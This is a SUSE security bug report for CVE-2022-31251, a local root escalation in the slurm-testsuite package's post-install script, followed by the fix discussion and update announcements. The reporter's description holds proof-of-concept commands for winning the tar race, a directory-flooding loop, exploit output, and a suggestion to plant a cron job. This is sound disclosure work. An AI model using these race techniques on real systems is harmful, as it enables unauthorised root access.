

Bug 1201674 (CVE-2022-31251) VUL-0: CVE-2022-31251: slurm: %post for slurm-testsuite operates as root in user owned directory

Status: RESOLVED FIXED

• [Create test case](#)

Classification: Novell Products

• [Clone This Bug](#)

Product: SUSE Security Incidents

Component: Incidents

Reported: 2022-07-20 07:00 UTC by Johannes Segitz

Version: unspecified

Modified: 2022-11-04 15:10 UTC ([History](#))

Hardware: Other Other

CC List: 2 users ([show](#))

Priority: P3 - Medium **Severity:** Minor

See Also:

Target Milestone: ---

Found By: ---

Assigned To: Egbert Eich

Services Priority:

QA Contact: Security Team bot

Business Priority:

URL:

Blocker: ---

Whiteboard:

Keywords:

Depends on:

Blocks:

Show dependency [tree](#) / [graph](#)

Attachments

[Add an attachment](#) (proposed patch, testcase, etc.)

Note

You need to [log in](#) before you can comment on or make changes to this bug.

Johannes Segitz 2022-07-20 07:00:01 UTC

Description

Problematic code:

```
1030 %post testsuite
1031 rm -rf /srv/slurm-testsuite/src /srv/slurm-testsuite/testsuite /srv/slurm-
testsuite/config.h
1032 tar --same-owner -C /srv/slurm-testsuite -xjf /srv/slurm-
testsuite/slurmtest.tar.bz2
```

/srv/slurm-testsuite is owned by user slurm. This allows to escalate from slurm to root by winning two races when the package is updated (three when it's initially installed).

First race is happening when `slurmtest.tar.bz2` is copied to the directory. Since `slurm` owns the directory it can be deleted and recreated before `tar` is called (`rm` gives us enough time for that).

POC:

```
slurm@linux-v0t1:/srv/slurm-testsuite> id
uid=120(slurm) gid=120(slurm) groups=120(slurm)
slurm@linux-v0t1:/srv/slurm-testsuite> inotifywait slurmtest.tar.bz2 -e CLOSE; rm
slurmtest.tar.bz2; cp /foo.tar.bz2 slurmtest.tar.bz2
```

That gives you the ability to unpack an archive of your choosing as root. To have enough opportunities to win the race the archive should contain something like:

```
for i in `seq 1 10000`; do mkdir $i; echo owned > $i/owned; done
```

Each directory will be created like these with tar

[illegible]

here we have to jump between `mkdirtat` and `openat`. This needs optimized C code to have a chance to win. With the 10k directories this is 100% reliable for me:

```
slurm@linux-v0t1:/srv/slurm-testsuite> /tmp/exploit /srv/slurm-testsuite /etc
```

```
[+] watching /srv/slurm-testsuite
```

<snip>

[+] read 1088

```
[+] Got name: 9989 len 16
```

```
[+] added link to /etc
```

After that:

```
ls -lah /etc/owned
```

```
-rw-r--r-- 1 root root 6 Jul 19 17:03 /etc/owned
```

Due to `O_EXCL` we can't overwrite files, but we could e.g. create a cron job that gives us root permissions.

Operating as root in user owned directories can only be done in a safe way with a lot of precautions. So the best solution would be to make this directory and everything below it root owned. Does that work for you?

Setting as minor as this package is very likely not used widely.

Johannes Segitz 2022-07-22 07:42:21 UTC

Comment 4

From the changes file:

```
"- Allow log in as user 'slurm'. This allows admins to run certain
  priviledged commands more easily without becoming root."
```

So this user is used. I suspect that some service component also runs under this user. Is this a correct assumption?

Being able to escalate from a user to root is a security issue as this violates expectations, even if in normal operation this is usually done by the local admin himself. Given the nature of this package it is minor, but that doesn't mean we shouldn't fix it.

The two suggestions would fix the issue if used in combination. The tar archive must not be under a path that the slurm user can influence. And if the unpacking is done with the user privilege then the user can't gain additional privileges.

Egbert Eich 2022-08-02 15:01:18 UTC

Comment 6

(In reply to Johannes Segitz from [comment #4](#))

```
> From the changes file:
> "- Allow log in as user 'slurm'. This allows admins to run certain
>   privileged commands more easily without becoming root."
>
> So this user is used. I suspect that some service component also runs under
> this user. Is this a correct assumption?
>
```

No, just a bunch of tests that are run manually at present. In the future, some sort of CI may take over this task.

As I said, this is a package for testing and not meant to be installed outside of a well shielded test environment.

```
> Being able to escalate from a user to root is a security issue as this
> violates expectations, even if in normal operation this is usually done by
> the local admin himself. Given the nature of this package it is minor, but
> that doesn't mean we shouldn't fix it.
```

Sure, it's easy enough to do.

```
> The two suggestions would fix the issue if used in combination. The tar
> archive must not be under a path that the slurm user can influence. And if
> the unpacking is done with the user privilege then the user can't gain
> additional privileges.
```

Ok, thanks for the confirmation, I've got the fix ready to go.

OBSbugzilla Bot 2022-08-02 16:40:04 UTC

Comment 7

This is an autogenerated message for OBS integration:
This bug (1201674) was mentioned in
<https://build.opensuse.org/request/show/992362> Factory / slurm

Egbert Eich 2022-08-02 16:55:38 UTC

Comment 8

Fix submitted.

Swamp Workflow Management 2022-09-28 16:20:37 UTC

Comment 18

SUSE-SU-2022:3454-1: An update that fixes three vulnerabilities is now available.

Category: security (important)

Bug References: 1199278,1199279,1201674

CVE References: CVE-2022-29500,CVE-2022-29501,CVE-2022-31251

JIRA References:

Sources used:

SUSE Linux Enterprise Module for HPC 12 (src): slurm_18_08-18.08.9-3.17.1

NOTE: This line indicates an update has been released for the listed product(s). At times this might be only a partial fix. If you have questions please reach out to maintenance coordination.

Swamp Workflow Management 2022-09-29 13:21:29 UTC

[Comment 19](#)

SUSE-SU-2022:3468-1: An update that fixes three vulnerabilities is now available.

Category: security (important)

Bug References: 1199278,1199279,1201674

CVE References: CVE-2022-29500,CVE-2022-29501,CVE-2022-31251

JIRA References:

Sources used:

openSUSE Leap 15.4 (src): slurm-18.08.9-150100.3.22.1

openSUSE Leap 15.3 (src): slurm-18.08.9-150100.3.22.1

SUSE Linux Enterprise High Performance Computing 15-SP1-LTSS (src): slurm-18.08.9-150100.3.22.1

SUSE Linux Enterprise High Performance Computing 15-SP1-ESPOS (src): slurm-18.08.9-150100.3.22.1

NOTE: This line indicates an update has been released for the listed product(s). At times this might be only a partial fix. If you have questions please reach out to maintenance coordination.

Swamp Workflow Management 2022-09-29 13:24:55 UTC

[Comment 20](#)

SUSE-SU-2022:3462-1: An update that fixes three vulnerabilities is now available.

Category: security (important)

Bug References: 1199278,1199279,1201674

CVE References: CVE-2022-29500,CVE-2022-29501,CVE-2022-31251

JIRA References:

Sources used:

openSUSE Leap 15.4 (src): slurm_18_08-18.08.9-150000.1.17.1

openSUSE Leap 15.3 (src): slurm_18_08-18.08.9-150000.1.17.1

SUSE Linux Enterprise High Performance Computing 15-LTSS (src): slurm_18_08-18.08.9-150000.1.17.1

SUSE Linux Enterprise High Performance Computing 15-ESPOS (src): slurm_18_08-18.08.9-150000.1.17.1

NOTE: This line indicates an update has been released for the listed product(s). At times this might be only a partial fix. If you have questions please reach out to maintenance coordination.

Swamp Workflow Management 2022-09-30 13:21:29 UTC

[Comment 21](#)

SUSE-SU-2022:3477-1: An update that solves three vulnerabilities and has one errata is now available.

Category: security (important)

Bug References: 1186646,1199278,1199279,1201674

CVE References: CVE-2022-29500,CVE-2022-29501,CVE-2022-31251

JIRA References:

Sources used:

SUSE Linux Enterprise Module for HPC 12 (src): slurm_20_02-20.02.7-3.14.1

NOTE: This line indicates an update has been released for the listed product(s). At times this might be only a partial fix. If you have questions please reach out to maintenance coordination.

Swamp Workflow Management 2022-10-03 10:19:10 UTC

[Comment 22](#)

SUSE-SU-2022:3490-1: An update that fixes three vulnerabilities is now available.

Category: security (important)

Bug References: 1199278,1199279,1201674

CVE References: CVE-2022-29500,CVE-2022-29501,CVE-2022-31251

JIRA References:

Sources used:

openSUSE Leap 15.4 (src): slurm-20.02.7-150200.3.14.2

```
openSUSE Leap 15.3 (src):      slurm-20.02.7-150200.3.14.2
SUSE Linux Enterprise High Performance Computing 15-SP2-LTSS (src):      slurm-
20.02.7-150200.3.14.2
SUSE Linux Enterprise High Performance Computing 15-SP2-ESPOS (src):      slurm-
20.02.7-150200.3.14.2
```

NOTE: This line indicates an update has been released for the listed product(s). At times this might be only a partial fix. If you have questions please reach out to maintenance coordination.

Swamp Workflow Management 2022-10-03 16:22:13 UTC

[Comment 23](#)

SUSE-SU-2022:3491-1: An update that solves three vulnerabilities and has one errata is now available.

Category: security (important)

Bug References: 1186646,1199278,1199279,1201674

CVE References: CVE-2022-29500,CVE-2022-29501,CVE-2022-31251

JIRA References:

Sources used:

openSUSE Leap 15.4 (src): slurm_20_02-20.02.7-150100.3.24.1

openSUSE Leap 15.3 (src): slurm_20_02-20.02.7-150100.3.24.1

SUSE Linux Enterprise High Performance Computing 15-SP1-LTSS (src): slurm_20_02-20.02.7-150100.3.24.1

SUSE Linux Enterprise High Performance Computing 15-SP1-ESPOS (src):
slurm_20_02-20.02.7-150100.3.24.1

NOTE: This line indicates an update has been released for the listed product(s). At times this might be only a partial fix. If you have questions please reach out to maintenance coordination.

Swamp Workflow Management 2022-10-04 13:27:17 UTC

[Comment 24](#)

SUSE-SU-2022:3497-1: An update that fixes three vulnerabilities is now available.

Category: security (important)

Bug References: 1199278,1199279,1201674

CVE References: CVE-2022-29500,CVE-2022-29501,CVE-2022-31251

JIRA References:

Sources used:

SUSE Linux Enterprise Module for HPC 12 (src): slurm-17.02.11-6.53.1

NOTE: This line indicates an update has been released for the listed product(s). At times this might be only a partial fix. If you have questions please reach out to maintenance coordination.

Swamp Workflow Management 2022-10-06 13:30:48 UTC

[Comment 25](#)

SUSE-SU-2022:3535-1: An update that fixes three vulnerabilities is now available.

Category: security (important)

Bug References: 1199278,1199279,1201674

CVE References: CVE-2022-29500,CVE-2022-29501,CVE-2022-31251

JIRA References:

Sources used:

openSUSE Leap 15.4 (src): slurm-17.11.13-150000.6.40.1

openSUSE Leap 15.3 (src): slurm-17.11.13-150000.6.40.1

SUSE Linux Enterprise High Performance Computing 15-LTSS (src): slurm-17.11.13-150000.6.40.1

SUSE Linux Enterprise High Performance Computing 15-ESPOS (src): slurm-17.11.13-150000.6.40.1

NOTE: This line indicates an update has been released for the listed product(s). At times this might be only a partial fix. If you have questions please reach out to maintenance coordination.

